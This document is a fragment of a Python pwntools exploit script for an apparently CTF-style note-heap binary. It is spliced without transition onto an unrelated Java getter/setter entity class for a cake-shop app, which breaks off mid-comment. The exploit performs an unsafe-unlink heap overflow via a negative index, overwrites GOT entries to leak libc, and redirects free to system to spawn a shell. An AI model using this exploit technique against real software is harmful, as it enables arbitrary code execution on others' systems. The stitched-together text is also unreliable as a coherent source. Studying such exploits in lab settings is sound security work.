	new_note(io, 0x80, 'cccccc')
	new_note(io, 0x80, 'dddddd')
	new_note(io, 0x80, 'eeeeee')
	new_note(io, 0x80, 'ffffff')
	new_note(io, 0x80, '/bin/sh;')

	target_id = 2

	edit_note(io, target_id, '111111')

	#useful_code --- begin
	#prepare args
	arch_bytes = 8
	heap_buff_size = 0x80
	#node1_addr = &p0
	node1_addr = 0x6020C8 + 0x08 * target_id
	pack_fun = l64

	heap_node_size = heap_buff_size + 2 * arch_bytes #0x88

	p0 = pack_fun(0x0)
	p1 = pack_fun(heap_buff_size + 0x01)
	p2 = pack_fun(node1_addr - 3 * arch_bytes)
	p3 = pack_fun(node1_addr - 2 * arch_bytes)
	#p[2]=p-3
	#p[3]=p-2
	#node1_addr = &node1_addr - 3

	node2_pre_size = pack_fun(heap_buff_size)
	node2_size = pack_fun(heap_node_size)
	data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size

	#useful_code --- end

	#edit node 1:overwrite node 1 -> overflow node 2
	edit_note(io, -9223372036854775808, data1)
	#edit_note(io, 1, score, data1)
	#delete node 2, unlink node 1 -> unlink
	#delete_a_restaurant(io, 2)
	delete_note(io, target_id + 1)

	alarm_got = 0x0000000000602038
	puts_plt = 0x0000000000400730
	free_got = 0x0000000000602018

	data1 = l64(0x0) + l64(alarm_got) + l64(free_got) + l64(free_got)
	edit_note(io, target_id, data1)

	data1 = l64(puts_plt)[:6]

	io.gdb_hint()
	edit_note(io, target_id, data1)

	#io.read_until("option--->>\n")
	#io.writeline("3")
	#io.read_until("id of the note:\n")
	#io.writeline(l64(atol_got))

	#data = io.read_until("\n")
	#print [c for c in data]

	delete_note(io, 0)
	data = io.read_until("\n")[:-1]
	print [c for c in data]

	alarm_addr = l64(data.ljust(8, '\x00'))
	print "alarm_addr:", hex(alarm_addr)

	elf_info = ELF("./libc-2.19.so")
	#elf_info = ELF("./libc.so.6")
	alarm_offset = elf_info.symbols["alarm"]
	system_offset = elf_info.symbols["system"]

	libc_base = alarm_addr - alarm_offset
	system_addr = libc_base + system_offset
	data = l64(system_addr)[:6]
	edit_note(io, 1, data)

	delete_note(io, 6)
	io.interact()

io = get_io(target)
pwn(io)


	public Double getDangaoNewMoney() {
			return dangaoNewMoney;
		}
		/**
		* 设置： 现价
		*/
		public void setDangaoNewMoney(Double dangaoNewMoney) {
			this.dangaoNewMoney = dangaoNewMoney;
		}

		/**
		* 获取： 商品热度
		*/
		public Integer getDangaoClicknum() {
			return dangaoClicknum;
		}
		/**
		* 设置： 商品热度
		*/
		public void setDangaoClicknum(Integer dangaoClicknum) {
			this.dangaoClicknum = dangaoClicknum;
		}

		/**
		* 获取： 商品介绍
		*/
		public String getDangaoContent() {
			return dangaoContent;
		}
		/**
		* 设置： 商品介绍
		*/
		public void setDangaoContent(String dangaoContent) {
			this.dangaoContent = dangaoContent;
		}
		/**
		* 获取： 是否上架
		*/
		public Integer getShangxiaTypes() {
			return shangxiaTypes;
		}
		/**
		* 设置： 是否上架
		*/
		public void setShangxiaTypes(Integer shangxiaTypes) {
			this.shangxiaTypes = shangxiaTypes;
		}

			/**
			* 获取： 是否上架的值
			*/
			public String getShangxiaValue() {
				return shangxiaValue;
			}
			/**
			* 设置： 是否上架的值
			*/
			public void setShangxiaValue(String shangxiaValue) {
				this.shangxiaValue = shangxiaValue;
			}

		/**
		* 获取： 逻辑删除
		*/
		public Integer getDangaoDelete() {
			return dangaoDelete;
		}
		/**
		* 设置： 逻辑删除
		*/
		public void setDangaoDelete(Integer dangaoDelete) {
			this.dangaoDelete = dangaoDelete;
		}
	//级联表的get和set 用户

		/**
		* 获取： 用户姓名
		*/
		public String getYonghuName() {
			return yonghuName;
		}
		/**
		* 设置： 用户姓名
		*/
		public void setYonghuName(String yonghuName) {
			this.yonghuName = yonghuName;
		}

		/**
		* 获取： 联系方式
		*/
		public String getYonghuPhone() {
			return yonghuPhone;
		}
		/**
		* 设置： 联系方式
		*/
		public void setYonghuPhone(String yonghuPhone) {
			this.yonghuPhone = yonghuPhone;
		}

		/**
		* 获取： 身份证号
		*/
		public String getYonghuIdNumber() {
			return yonghuIdNumber;
		}
		/**
		* 设置： 身份证号
		*/
		public void setYonghuIdNumber(String yonghuIdNumber) {
			this.yonghuIdNumber = yonghuIdNumber;
		}

		/**
		* 获取： 用户头像
		*/
		public String getYonghuPhoto() {
			return yonghuPhoto;
		}
		/**
		* 设置： 用户头像
		*/
		public void setYonghuPhoto(String yonghuPhoto) {
			this.yonghuPhoto = yonghuPhoto;
		}

		/**
		* 获取： 电子邮箱
		*/
		public String getYonghuEmail() {
			return yonghuEmail;
		}
		/**
		*